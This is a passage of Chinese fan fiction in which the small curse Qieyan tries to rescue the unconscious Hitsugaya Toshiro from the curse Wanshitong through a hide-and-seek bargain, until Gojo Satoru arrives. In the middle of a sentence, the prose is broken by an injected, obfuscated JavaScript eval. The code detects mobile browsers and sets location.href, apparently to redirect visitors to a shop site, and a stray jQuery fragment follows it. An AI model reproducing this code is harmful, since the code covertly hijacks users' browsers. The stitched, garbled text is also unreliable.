日番谷冬狮郎不动了。他在房间中央停着不动的过了好一会,最后像是被突然拔下电池的机器人似的,“咚”的一声往地上一倒,发出好大的声响。
怯魇不知道发生了什么——现在的它虽然看到了全过程,可脑子依旧反应不过来。大脑像是强行回到的出厂设置,脑海里最后只剩下了“怎么办”三个字。
冷静、冷静——我要救老大、我一定要救他……
房间里仅剩的“独苗苗”努力做着深呼吸,试图让自己冷静下来。它的大脑高速运转着:现在的状况很紧急,时间就是金钱。根据记忆,万事通要把老大抓取研究,虽然不知道到底要研究老大什么,但肯定是什么见不得人的研究,所以它身后的研究所肯定藏得非常隐秘。从将小杉响生的能力伪装成万事通自己的能力又能看出来,它咒灵本身大概率又是什么老奸巨猾的谨慎性子,这就直接杜绝了自己先假意顺从万事通,请它先放自己出去,自己再去寻求咒术师们帮助,请他们去救老大的方法。
再然后,据它所推测,老大的身体素质大概还是很不错的,毕竟能一下从东京跑到熊本的男人,所以不可能出现没吃饭低血糖饿晕这种意外情况。那老大是陷入万事通的幻境了吗?很有可能。万事通不是很了解老大,或者说,它还并不是很了解老大的能力。所以谨慎起见,它一定会确认老大完全陷入它的能力后再带着老大转移。也就是说,将万事通接下里的步骤化为三步分别是——确认老大彻底陷入幻境、把我杀死——防止我把老大被带走的消息告诉咒术师们、带着老大去研究所。
也就是说,现在我要做的就是……望着蹲下身子,饶有兴趣的打量日番谷冬狮郎目前状况的万事通,怯魇艰难的咽了口唾沫:现在在在在……我需、需要把万事通从老大面前引走?
不行吧!不行吧!我一定不行吧——一定会死的啊!当时在312房间门口能成功引走其中一个咒术师并成功逃脱,一是因为走廊宽阔,二是因为咒术师心不在焉,三是因为老大出手相助,这三点不管少了哪一点都只能死翘翘了啊——总之总结一下,当时的成功全是外界因素的堆积而成,自己能成功第一次,不一定能再成功第二次吧!
怎么办呢,怎么办。现在的自己什么能力都没有,在万事通把它灭口拔腿就跑么,和万事通来一场酣畅淋漓的“猫捉老鼠”,括弧:捉到老鼠老鼠就心不甘情不愿的付出生命的那种哦!
怯魇:“……”
怯魇:“……不行不行不行,绝对不行吧!”
虽然万事通看着年纪很大的样子,但它可是咒灵啊,咒灵年龄分什么打不打的!归根到底一件事,要是单纯的拼跑步,自己肯定是跑不过万事通的。
但也不是完全没有办法。
此刻,怯魇生锈的大脑终于“吱呀吱呀”的再次转了起来。万事通有个毛病,这个毛病怯魇刚来它这里心里疗愈记忆时就知道了——万事通容易轻敌。一开始怯魇和日番谷冬狮郎说问完问题赶紧跑,它能运用万事通的弱点让两人勉强离开,这里的弱点就是在指“轻敌”。
或许是成为特级咒灵后,万事通认为它这一辈子顺风顺水,没什么大的阻碍了,于是在面对那些比自己弱小的生物时,它总是习惯性的去轻视对方。有的时候,怯魇总感觉,万事通看它的眼神就像是在看一只很小很小的蚂蚁,轻蔑、不屑,让它打从心眼里感到不舒服。
你会把一只小到不行的蚂蚁放在眼里吗?答案是肯定的,不会。
但蚂蚁就蚂蚁吧,为了成功带着冬狮郎逃离万事通的魔爪,怯魇心甘情愿去当蚂蚁。
此刻,万事通终于确认日番谷冬狮郎短时间内是不会醒来了。它抬起头,脸上的表情似笑非笑,下一秒目光就直勾勾的看向了怯魇。
那目光,那表情,哪怕怯魇已经做足了心理准备,却依然感觉心脏有一瞬间的窒息。“额。”它捂住自己疯狂跳动的小心脏,小心翼翼的往纸巾盒旁躲了又躲,“我能和你谈个条件吗?”
“真的很小很小一个条件。”它这样说着,甚至还伸手比了比,表示自己的条件真的很小很小,“你会同意的吧?”
“毕竟咱俩的实力太过于悬殊了,不然单方面来一场毫无胜算的秒00杀,你应该也觉得没啥意思吧。”
万事通很谨慎:“你先说说是什么。”
怯魇在心里怒骂万事通真是该死小心,还非要问问条件是啥才答应,但表面上依旧是那副惶恐不安的样子:“我带着老大……额,就是那个、那个……”
它在心里想了半天,这才发现自己连老大名字是啥都不知道,这才退而求其次的选择了“白发小孩”。
“就是那个白发的孩子,它是我老大。”怯魇打量着万事通的表情,斟酌着开口,“你看,我和老大,一个小,一个晕,都跑不远是不是。你看能不能把领域打开,给我们两个二十分钟时间,让我们找个地方藏起来,二十分钟后,你再……”
万事通微笑的打断怯魇:“你想都别想。”
胆小鬼,比我还胆小的胆小鬼。怯魇气呼呼的在心里骂道。但幸好它了解万事通的性格,也一早就想到了万事通一定会拒绝这个方案,于是它眨眨眼睛,可怜兮兮的装出一副委屈样,选择“退而求其次”:“那你不开领域,让我跟老大和你在领域内玩一场躲猫猫也不行吗?”
万事通继续微笑:“……也不行哦。”
“真的不行吗?”一眼看出万事通在拒绝前眼里闪过的一丝动摇,怯魇一瘪嘴,趁胜追击,“这可是领域内,而且你可是特级中的特级——你不和我们玩……是不是没信心抓到我们两个小卡拉米吗?”
只是简简单单的激将法,但对于万事通这种咒灵,激将法可谓再适合不过了。怯魇看着万事通的脸色从红色到橙色,再从橙色到黄色,变化了一整个彩虹,果不其然,当它再开口的时,内容就与之前完全不同了。
“可以。”万事通慢条斯理的往地上一坐。“二十分钟,现在开始。”
“如果二十分钟后我找到你们俩了,你们就给我愿赌服输。”
怯魇乘胜追击:“那三十分钟呢?”
“二十分钟。”万事通伸出两根手指。它从口袋里掏出手机,示意怯魇去看时间,“你还有十九分钟四十七秒,如果再和我讨价还价的拖下去只剩下十五分钟也睡不到哦。”
怯魇:“……”
怯魇:“………”
依旧是那句话,小小的身体大大的潜力。不知道是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247980|196180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪里涌上来的力量,怯魇扛起日番谷冬狮郎就往屋外头跑。谁和你愿赌服输?它脸部神经恶狠狠的抽搐两下:我和你说的只是“能不能谈个条件”,谁也没跟你谈赌注这件事啊!
至于这样做完下一步又该干什么,怯魇不知道——总之走一步看一步吧
它一脚踹开房门。好嘛,外头不是自己熟悉的走廊,而是满天的迷雾。不开玩笑,这种时候走进去一定会迷失方向,二十分钟后让万事通来个瓮中捉鳖。不过躲在房间里肯定是不得了的等死行为,于是怯魇一咬牙,尖叫着朝外冲去。
好你个万事通。它在心里发疯:不讲武德!
日番谷冬狮郎“睡”的很香,不管怯魇在躲藏时弄出了怎样的颠簸,或发出了怎样的尖叫,都无法吵醒他。迷雾弥漫,怯魇只能茫然的在雾气中到处跑。它方向感很差,最后只能带着日番谷冬狮郎玩了一趟七上八下的野外过山车。
是的,野外过山车。
怯魇不但要辨认迷雾里的一切,还要躲开时不时突然出现的石头树木灌木丛。
条件很艰苦,行动很困难,但怯魇却咬紧牙关没有喊累,它只是扛着日番谷冬狮郎在迷雾里毫无目的的行走,四处乱逃。他不知道时间已经过去了多久,只知道自己不能坐以待毙,自己应该像打不死的小强一样顽强的挣扎下去。只要自己多跑十厘米,自己和日番谷冬狮郎活下来的希望就又多了一分。
它衷心的希望时间过的慢一点、再慢一点。可惜时间不等人,也不等咒灵。它看见整片迷雾渐渐散去,万事通的身影缓缓从身后赶来。它带着日番谷冬狮郎躲在一棵巨大的树后,听见了万事通带着恶意的声音在耳边响起:“找—到—你—喽——”
那一刻,怯魇眼前一黑,差点当着万事通的面晕过去。
“愿赌服输吧?”万事通嘴角疯狂上扬。它两只手用力握住怯魇的小身体,仿佛下一秒就要把它捏碎,“看在我们认识这么久的份上,你想要一个怎么样的死法呢?”
“小怯魇。”它有些惋惜的道,“要是你没失忆就好了、要是你性格没变就好了——我还是更喜欢以前的你。”
怯魇感觉自己喘不过气来。它张张嘴,努力想顶回去一句:我不喜欢你。但是它没力气了。身体里每一寸肌肉都发出了痛苦的悲鸣,骨骼在重压下咯吱作响,仿佛下一秒就要散架。它可怜兮兮的想:难道我今天真的会命丧于此了?
“哦呀,杰,这里是什么地方?”
将死之际,怯魇听见有人这样说。但这明显不是万事通的声音,也不是自己在说话。可这不可能,毕竟这里除了自己和万事通,还有已经睡死的日番谷冬狮郎,就再没有其他人了啊。
顺着声音传来的方向,它吃力的睁开眼睛,朝旁边望去。最前面那个人,一头嚣张的白发,配上一副酷炫的墨镜,好眼熟。
……六眼?!
怯魇被吓了一跳,一时间竟连身上传来的疼痛都感觉不到了。它努力将眼睛睁开一条缝,眨也不眨的盯着对方。
“哎呀。”或许是感受到了怯魇期待的目光,五条悟摘下墨镜,微微扫了一眼,便将周围的一切尽收眼底。他抱臂思索了好一会,终于开口:“我们是不是被故意引来的,杰?”